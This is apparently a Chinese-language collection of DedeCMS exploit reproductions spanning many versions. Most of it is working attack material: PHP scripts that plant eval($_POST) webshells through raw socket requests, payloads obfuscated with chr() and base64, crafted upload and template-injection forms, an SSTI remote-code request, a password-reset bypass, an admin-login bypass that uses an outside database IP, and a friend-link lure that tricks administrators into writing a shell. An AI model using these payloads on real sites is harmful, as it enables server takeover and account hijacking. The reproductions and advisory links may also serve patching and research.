<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form> <br />
It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />Fun the game,get a webshell at
/data/cache/fly.php...<br />
</body>
</html>

参考文章

http://huaidan.org/archives/3386.html

https://www.seebug.org/vuldb/ssvid-12518

DEDECMS member/uploads_edit.php 上传GETSHELL

漏洞复现

将以下内容保存为 1.gif

1
2
3
4
5
Gif89a{dede:field name='toby57' runphp='yes'}

phpinfo();

{/dede:field}

构造如下表单,上传后图片保存为/uploads/userup/3/1.gif

1
2
3
4
5
6
7
8
9
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data"> 
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBKFinal/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >ô9</button>
</form>

发表文章,然后构造修改表单如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data"> 
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100"
class="intxt"/><input type="text" name="writer" id="writer" value="123456" maxlength="100"
class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
<option value='0' selected>÷ é{...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">Ф</button>
</form>

参考文章

https://www.seebug.org/vuldb/ssvid-20049

Dedecms 最新版本后台 getshell

漏洞复现

后台上传处

image-20220610021730347

上传图片抓包

image-20220610021748274

然后把 filename 修改一下

image-20220610021806709

然后访问路径

image-20220610021826076

参考文章

https://www.seebug.org/vuldb/ssvid-96574

Dedecms v5.5 datalistcp.class.php Getshell

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
print_r('
+----------------------------------------+
dedecms v5.5 final getwebshell exploit
+----------------------------------------+
');
if ($argc < 3) {
print_r('
+----------------------------------------+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to dedecms
Example:
php '.$argv[0].' localhost /dedecms/
+----------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(120).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*';
$post_b = 'needCode=aa/../../../data/mysql_error_trace';
$shell = 'data/cache/t.php';

get_send($post_a);
post_send('plus/comments_frame.php',$post_b);
$content = post_send($shell,'t=echo tojen;');

if(substr($content,9,3)=='200'){
echo "\nShell Address is:".$host.$path.$shell;
}else{
echo "\nError.";
}
function get_send($url){
global $host, $path;
$message = "GET ".$path."$url HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: http://$host$path\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: $host\r\n";
$message .= "Connection: Close\r\n\r\n";
$fp = fsockopen($host, 80);
if(!$fp){
echo "\nConnect to host Error";
}
fputs($fp, $message);

$back = '';

while (!feof($fp))
$back .= fread($fp, 1024);
fclose($fp);
return $back;

}
function post_send($url,$cmd){

global $host, $path;
$message = "POST ".$path."$url HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: http://$host$path\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
$fp = fsockopen($host, 80);
if(!$fp){
echo "\nConnect to host Error";
}
fputs($fp, $message);

$back = '';

while (!feof($fp))
$back .= fread($fp, 1024);
fclose($fp);
return $back;
}
?>

参考文章

https://www.seebug.org/vuldb/ssvid-24262

命令执行/代码执行

Dedecms5.3 – 5.5 plus/digg_frame.php 代码注入漏洞

  1. 访问网址:

    http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var*_dump(3);?>* 可看见错误信息

  2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。

    1
    2
    3
    int(3) Error: Illegal double '1024e1024' value found during parsing Error sql:
    Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1;
    */ ?>
  3. 执行 dede.rar 里的文件 test.html,注意 form 中 action 的地址是

    1
    <form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

按确定后的看到第 2 步骤的信息表示文件木马上传成功.

参考文章:https://blog.csdn.net/gmnet/article/details/7304743

Dedecms 5.7 SP1 /install/index.php 远程写文件漏洞

漏洞复现

在自己服务器根目录建立 Dedecms 目录,然后在目录下建立 demodata.a.txt($s_lang 变量

覆盖为 a),内容为

1
2
3
4
5
<?php

phpinfo;

?>

访问这个 url:

http://192.168.204.135/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php

这会让代码到 http://updatenew.Dedecms.com/base-v57/Dedecms/demodata.a.txt 中取内容写入到 config_update.php,demodata.a.txt 如下图:

image-20220610022649032

访问 PoC 之后 config_update.php 文件内容如下图

image-20220610022728653

这样 updataHost 变量值便没有被初始化了,之后我们想写什么就可以些什么了。这里我们用下面的这个 url 做测试:

http://192.168.204.135/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/tang3.php&updateHost=http://192.168.1.1/

//192.168.1.1 服务器为存 demodata.a.txt 文件的服务器

访问 http://192.168.204.135/data/tang3.php,效果如下图

image-20220610022938736

参考文章

https://www.seebug.org/vuldb/ssvid-89362

https://www.seebug.org/vuldb/ssvid-89354

Dedecms v5.6 嵌入恶意代码执行漏洞

漏洞复现

注册会员,上传软件,在本地地址中填入

a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}

发表后查看或修改即可执行

若填入以下内容,则可生成 webshell

a{/dede:link}{dede:toby57name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}

生成 x.php 密码:xiao 直接生成一句话。密码 xiao 大家懂得

参考文章

https://www.seebug.org/vuldb/ssvid-20352

Dedecms v5.1 WriteBookText() 代码注入漏洞

漏洞复现

前提是服务器开放会员系统,而且有图书连载里有类别。

利用方法

http://www.target.com/member/story_add_content_action.php?body=eval($_POST[c]);&chapterid=1

这样就在 data/textdata/目录下生成小马。 默认为 data/textdata/1/bk1.php

而后打开 http://www.taget.com/data/textdata/1/bk1.php 就是咱们生成后门。假如一次没

成功想再重来一遍的话,下次生成的文件就变成 bk2.php。以此类推。

参考文章

https://www.seebug.org/vuldb/ssvid-3249

https://blog.csdn.net/hackcode/article/details/2715155

http://blog.chinaunix.net/uid-28997055-id-4290330.html

Dedecms 5.7 友情链接模块注入漏洞(getshell)

漏洞复现

先上 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//print_r($_SERVER);
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉
friendlink_main.php,取得 dede 后台的路径
//拼接 exp
$muma =
'<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.'
;'.'?'.'>';
$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='.
$muma .'&filename=shell.lib.php';
$url = $dede_login.$exp;
//echo $url;
header("location: ".$url);
// send mail coder
exit();
?>

首先,将这个 exp 部署在你的服务器上,当然你必须要有一个公网 ip,假设你的 url 为:http://www.xxxx.com/exp.php 在目标网站的申请友情链接处申请一个友情链接

image-20220610023330413

提交之后等待管理员审核,当管理员审核的时候,一般情况下会点进你的网站看一看

审核的地方在 后台—》模块—》辅助插件—》友情链接

image-20220610023409017

当点这个友情链接的时候,就生成了一句话 shell,shell 地址在//include/taglib/shell.lib.php

管理员触发了一个链接

http://127.0.0.1/Dedecms-V5.7-UTF8-SP1-Full/uploads/dede/tpl.php?action=savetagfile&actiondo=addnewtag&content=%3C?@eval($_POST[%27c%27]);?%3E&filename=shell.lib.php

这个链接是利用管理员的权限生成了一句话

image-20220610023504373

Dedecms 5.7 soft-edit.php 代码执行漏洞

漏洞复现

添加上传软件 本地地址 http://www.hao123.com 其它乱填就行,添加成功后,再次进入修

改界面 软件地址改为:

http://www.hao123.com}x{/dede:link}{dede:atext'=x']=0;eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(34).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(59).chr(34).chr(41).chr(59));// }xxxx{/dede:a}{dede:link}xxx

注意,这里后面多了 xxx ,是为了绕过正则补丁。然后执行完全没有压力!

image-20220610023603541

参考文章

http://www.520ve.com/?p=1992

Dedecms 5.7 后门漏洞

漏洞复现

使用以下 EXP 可触发,shell 地址为*/plus/dst.php*,密码为 cmd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
//shell一句话地址,/plus/dst.php 密码cmd
//www.t.com/dede/plus/car.php

error_reporting(E_ERROR);
set_time_limit(0);
$url = 'www.t.com'; //目标站url
$dir = '/dede'; //dedecms安装目录

//$content = '$a=${@phpinfo()};';
$content = '$a=${@file_put_contents("dst.php","<?php eval(\$_POST[cmd]); ?>")};';

$data = "POST $dir/plus/car.php HTTP/1.1\r\n";
$data .= "Host: localhost\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";

$socket=fsockopen($url,'80');
if ($socket) {
fwrite($socket,$data);
while (!feof($socket)) {
$exp.=fgets($socket, 1024);
}
echo $exp;
}else{
echo 'socket err';
}

?>

参考文章

https://www.webshell.cc/3413.html

Dedecms V5.7 后台的两处 Getshell(CVE-2018-9175)

漏洞复现

1、 第一处

把语句写入 inc 文件,然后在其他的 include 语句中,包含了恶意代码进而 getshell。

访问如下链接,写入

http://localhost/Dedecms/uploads/dede/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\%22;eval($*_GET[a]);die();//

此时写入 shell 成功,触发 shell 链接如下

http://localhost/Dedecms/uploads/dede/sys_verifies.php?action=down&a=phpinfo();

image-20220610024105711

2、 第二处

需要先往数据库里写入内容,然后文件内容从数据库取值

访问如下链接,写入

http://localhost/Dedecms/uploads/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;phpinfo();$&issign=1

此时 php 被写入了数据库,此时直接查询,便可以写入文件,写文件 url 如下:

http://localhost/Dedecms/uploads/dede/sys_cache_up.php?step=2&egroup=a=1;phpinfo();&dopost=ok

参考文章

https://xz.aliyun.com/t/2237

https://www.cnblogs.com/WhiteHatKevil/p/10226726.html

Dedecms V5.6 Final 模板执行漏洞

漏洞复现

1.上传一个模板文件:

注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把

图片替换为我们精心构造的模板,比如图片名称是:

uploads/userup/2/12OMX04-15A.jpg

模板内容是(如果限制图片格式,加 gif89a):

1
2
3
4
5
6
7
{dede:name runphp='yes'}
$fp = @fopen(&quot;1.php&quot;, 'a');
@fwrite($fp,
'&lt;'.'?php'.&quot;\r\n\r\n&quot;.'eval($_POST[cmd])'.&quot;\r\n\r\n?&quot;.&quot;
&gt;\r\n&quot;);
@fclose($fp);
{/dede:name}

2.修改刚刚发表的文章,查看源文件,构造一个表单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data" onsubmit="return checkSubmit();">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />

<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>

<div class="postForm">
<label>标题:</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>

<label>标签TAG:</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)

<label>作者:</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

<label>隶属栏目:</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)

<label>我的分类:</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>

<label>信息摘要:</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)

<label>缩略图:</label>
<input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);" maxlength="100" class="intxt"/>

<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">(这里构造)
</div>

<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>

<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="&lt;div&gt;&lt;a href=&quot;http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; alt=&quot;&quot; src=&quot;http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg&quot; width=&quot;1010&quot; height=&quot;456&quot; /&gt;&lt;/a&gt;&lt;/div&gt; &lt;p&gt;&amp;lt;?phpinfo()?&amp;gt;1111111&lt;/p&gt;" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&amp;Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>

<label>验证码:</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" onclick="this.src=this.src+'?'" />

<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset" onclick="location.reload();">重置</button>
</div>

</div>

</form>

提交,提示修改成功,则我们已经成功修改模板路径。

3.访问修改的文章:

假设刚刚修改的文章的aid为2,则我们只需要访问:
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell:1.php

参考文章

https://www.seebug.org/vuldb/ssvid-20050

Dedecms 标签远程文件写入漏洞

前题条件,必须准备好自己的dede数据库,然后插入数据:

1
insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');

再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>

参考文章

https://www.seebug.org/vuldb/ssvid-20856

https://www.cnblogs.com/LittleHann/p/4236517.html

DedeCMS-5.8.1 SSTI模板注入导致RCE

漏洞复现

先上POC:

1
2
3
GET /plus/flink.php?dopost=save&c=id HTTP/1.1
Host: target
Referer: <?php "system"($c);die;/*

img

以下(非详尽的)列表路径可以到达该漏洞:

/plus/flink.php?dopost=save
/plus/users_products.php?oid=1337
/plus/download.php?aid=1337
/plus/showphoto.php?aid=1337
/plus/users-do.php?fmdo=sendMail
/plus/posttocar.php?id=1337
/plus/vote.php?dopost=view
/plus/carbuyaction.php?do=clickout
/plus/recommend.php

逻辑漏洞

漏洞复现

1.注册 0000001 账户(用于登录 admin,其他账户类推)

2.注入 Payload 并获安全校验值

image-20220610024858829

3.

image-20220610024909343

参考文章

https://www.seebug.org/vuldb/ssvid-97087

Dedecms 前台任意用户密码修改

漏洞复现

先注册一个帐号并登录,然后访问:

http://localhost//member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1

当我们访问完 payload 时,链接会自动跳转到

http://localhost/Dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=34qn8KnX

跳转到用户密码修改页面

image-20220610025012404

但是默认情况下,admin 在会员中心是静止登录的,也就是说即使你修改成功了 admin 会员的密码,还是不能登录 admin,但是其他的会员就可以随意登录。比如一些论坛的资源教程需要 vip,你可以修改 vip 用户的密码,然后猥琐欲为

参考文章

https://www.seebug.org/vuldb/ssvid-97074

织梦(Dedecms) v5.6-5.7 越权访问漏洞(直接进入后台)

漏洞复现

访问如下链接:

http://127.0.0.1/后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

把上面 validate=dcug 改为当前的验证码,即可直接进入网站后台。此漏洞的前提是必须得到后台路径才能实现

参考文章

https://www.seebug.org/vuldb/ssvid-20859

其他

Dedecms 后台地址爆破漏洞

漏洞复现

  1. include/dialog/select_soft.php 文件可以爆出 DEDECMS 的后台,以前的老板本可以跳过登陆验证直接访问,无需管理员帐号,新版本的就直接转向了后台.

  2. include/dialog/config.php 会爆出后台管理路径

  3. include/dialog/select_soft.php?activepath=/include/FCKeditor 跳转目录

  4. include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p 爆出网站绝对路径

但是现在 Dedecms5.7sp1 是无法爆后台地址的,dede 会提示:提示:需输入后台管理目录才能登录

参考文章

https://blog.csdn.net/forest_fire/article/details/50944690

DEDECMS 会员中心代码投稿缺陷可 getshell

漏洞复现

应该也算任意文件读取?

利用前提:该漏洞需会员中心,且需开启软件栏目才能利用。

在会员中心代码投稿处,服务器名称填写为(本地地址可随意填写)

/}{dede:test src=../robots.txt/}{dede:${include$z[1][4][src]/**}**/ }/}

image-20220610025534039

“../robots.txt”可替换成成查看该文章后触发

image-20220610025558745

参考文章

https://www.seebug.org/vuldb/ssvid-96435